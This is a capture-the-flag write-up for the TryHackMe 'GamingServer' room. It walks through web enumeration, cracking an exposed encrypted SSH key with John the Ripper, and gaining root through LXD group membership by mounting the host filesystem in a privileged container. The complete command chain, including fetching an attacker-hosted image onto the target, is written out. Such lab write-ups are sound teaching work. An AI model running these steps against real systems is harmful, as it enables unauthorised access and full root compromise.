TryHackMe GamingServer Writeup: SSH Key Cracking & LXD Privilege Escalation
Challenge Info
- Platform: TryHackMe
- Room name: GamingServer
- Difficulty: Easy
- Goal: Grab the User Flag and the Root Flag
- Room link: https://tryhackme.com/room/gamingserver
Reconnaissance
Nmap Scan
nmap -Pn -sV -sC -p 22,80 10.201.41.104 -T4
Scan results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
| 256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_ 256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: House of danak
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Key takeaways:
- The HTTP service title is "House of danak"
- SSH service OpenSSH 7.6p1
- Ubuntu system
- Apache 2.4.29
Step 1: Web Enumeration - Finding the Hacker Manifesto
Visit the site and follow the links.
curl http://10.201.41.104/uploads
Page content: we find the classic The Hacker Manifesto:
The Hacker Manifesto
by
+++The Mentor+++
Written January 8, 1986
Another one got caught today, it's all over the papers...
[full text omitted]
I am a hacker, and this is my manifesto...
Back on the homepage we spot a key clue - an HTML comment:
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->
✅ First clue obtained: username = "john"
Step 2: Directory Enumeration - Finding Key Files
Scan with Gobuster.
gobuster dir -u http://10.201.41.104/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40Files discovered:
- An encrypted SSH private key
Download the key file.
# Download the SSH private key
wget http://10.201.41.104/[path]/id_rsa
Step 3: Analyzing the SSH Private Key
Inspect the private key.
cat id_rsa
Key contents:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547
T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2Vk8phx
H4P+PLb79nCc0SrBOPBlB0V3pjLJbf2hKbZazFLtq4FjZq66aLLIr2dRw74MzHSM
...
-----END RSA PRIVATE KEY-----
The important bits:
Proc-Type: 4,ENCRYPTED # the private key is encrypted
DEK-Info: AES-128-CBC # encrypted with AES-128-CBC
✅ This is a password-protected RSA private key!
Step 4: Cracking the SSH Private Key Passphrase
Convert the format with ssh2john.
# Convert the SSH private key into a format John can read
ssh2john id_rsa > id_rsa.hash
Crack it with John the Ripper.
Option 1: use rockyou.txt (recommended)
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Cracking output:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein (id_rsa)
1g 0:00:00:00 DONE (2025-10-17 15:16) 25.00g/s 14400p/s 14400c/s 14400C/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
✅ SSH private key passphrase: letmein
Option 2: use a custom wordlist (alternative) — you can find this custom wordlist under the /uploads path.
john --wordlist=dict.lst.txt id_rsa.hash
Step 5: SSH Login to Grab the User Flag
Put the credentials together.
What we know:
- Username: john (from the HTML comment)
- SSH private key: decrypted
- Key passphrase: letmein
SSH Login
ssh -i id_rsa_decrypted [email protected]
Logged in!
User Flag
john@exploitable:~$ ls
user.txt
john@exploitable:~$ cat user.txt
Redacted
Step 7: Enumeration - Finding a Privilege Escalation Path
Check the user's privileges.
john@exploitable:~$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
✅ Key finding: the user is in the lxd group!
Check sudo privileges.
john@exploitable:~$ sudo -l
[sudo] password for john:
# Tried letmein, john, etc. — all failed
sudo is a dead end, but LXD group membership gives us another route to escalate!
Step 8: LXD Privilege Escalation
How LXD privesc works.
What is LXD?
- LXD is a Linux container management tool (similar to Docker)
- Members of the
lxdgroup can create and manage containers - The key point: you can create a privileged container and mount the host filesystem
Attack flow:
1. Create a privileged container (security.privileged=true)
2. Mount the host root directory into the container
3. Access host files as root from inside the container
4. Read /root/root.txt
Check the LXD State
john@exploitable:~$ lxc list
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
john@exploitable:~$ lxc image list
+-------+-------------+--------+-------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+------+------+-------------+
Observation: there's no ready-made image, so we need to import one.
Step 9: Prepare an Alpine Linux Image
Build the image on the Kali machine — note this step happens on your local machine, not on the target box!
# 1. Clone the build tool
cd ~
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
# 2. Build the Alpine Linux image
sudo ./build-alpine
# 3. Check the generated file
ls -lh *.tar.gz
Output:
-rw-r--r-- 1 IronStrongHacker IronStrongHacker 3.2M Oct 17 15:32 alpine-v3.13-x86_64-20210218_0139.tar.gz
-rw-r--r-- 1 root root 3.9M Oct 17 15:33 alpine-v3.22-x86_64-20251017_1533.tar.gz
✅ Pick the smaller build: alpine-v3.13-x86_64-20210218_0139.tar.gz
Step 10: Transfer the Image to the Target Machine
Working in Windows PowerShell.
# 1. Copy the file into a Windows directory
mkdir C:\temp
copy \\wsl$\Ubuntu\home\IronStrongHacker\lxd-alpine-builder\alpine-v3.13-x86_64-20210218_0139.tar.gz C:\temp\
# 2. Enter the directory
cd C:\temp
# 3. Confirm the file is there
dir *.tar.gz
# 4. Start a Python HTTP server
python -m http.server 8000
# Keep this window open!
Download it on the Target Machine
# Switch to a temp directory
cd /tmp
# Download the image (replace with your IP: 10.13.90.144)
wget http://10.13.90.144:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
# Verify the download
ls -lh alpine*.tar.gz
Step 11: Executing the LXD Privesc
Import the image.
# Import the Alpine image
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
# Confirm the import succeeded
lxc image list
Output:
+--------+-------------+--------+-------------+--------+--------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+--------+-------------+--------+-------------+--------+--------+-------------+
| alpine | [hash] | no | | x86_64 | 3.20MB | Oct 17 2025 |
+--------+-------------+--------+-------------+--------+--------+-------------+
Create and configure a privileged container.
# 1. Initialize the container (privileged mode)
lxc init alpine privesc -c security.privileged=true
# 2. Mount the host root directory to /mnt/root inside the container
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
# 3. Start the container
lxc start privesc
# 4. Enter the container
lxc exec privesc /bin/sh
Confirm the privesc worked.
~ # whoami
root
~ # id
uid=0(root) gid=0(root)
✅ Root privileges obtained!
Step 12: Grab the Root Flag
Understand the filesystem layout.
Important concept:
- We're currently inside the container
- The container's
/root= the container's own root home (empty) - The host filesystem is mounted at
/mnt/root
The wrong move (a common beginner mistake).
~ # ls /root
# Empty!
~ # cat /root/root.txt
cat: can't open '/root/root.txt': No such file or directory
The correct path.
# Switch to the host filesystem
~ # cd /mnt/root/
# List the host root directory
/mnt/root # ls
bin dev initrd.img lib64 mnt root srv usr
boot etc lib lost+found opt run sys var
cdrom home ...
# Enter the host's root home directory
/mnt/root # cd root/
# List files
/mnt/root/root # ls
root.txt
Root Flag
/mnt/root/root # cat root.txt
Redacted
Key Takeaways
1. Cracking SSH Private Keys
Toolchain:
ssh2john # format conversion
john # password cracking
openssl rsa # decrypt the private key
Command flow:
# Convert
ssh2john id_rsa > id_rsa.hash
# Crack
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
# Decrypt
openssl rsa -in id_rsa -out id_rsa_decrypted
Key points:
- Spot the encryption marker:
Proc-Type: 4,ENCRYPTED - Pick a suitable wordlist (rockyou.txt has a high hit rate)
- After decrypting, you must set 600 permissions
2. LXD Privilege Escalation
Prerequisites:
- The user is in the
lxdgroup - LXD/LXC is installed on the system
How to check:
id # check group membership
lxc --version # check the LXD version
Breaking down the security parameters:
security.privileged=true # run the container in privileged mode
source=/ # host root directory
path=/mnt/root # mount point inside the container
recursive=true # recursively mount all subdirectories
3. Enumeration Tips
Analyzing HTML source:
# View comments
curl http://target/ | grep -i "<!--"
# Look for suspicious strings
curl http://target/ | grep -iE "user|admin|password|todo|fixme"
Key sources of information:
- HTML comments (
<!-- -->) - JavaScript code
- Error messages
- robots.txt
- Version-control directories like .git and .svn
Member discussion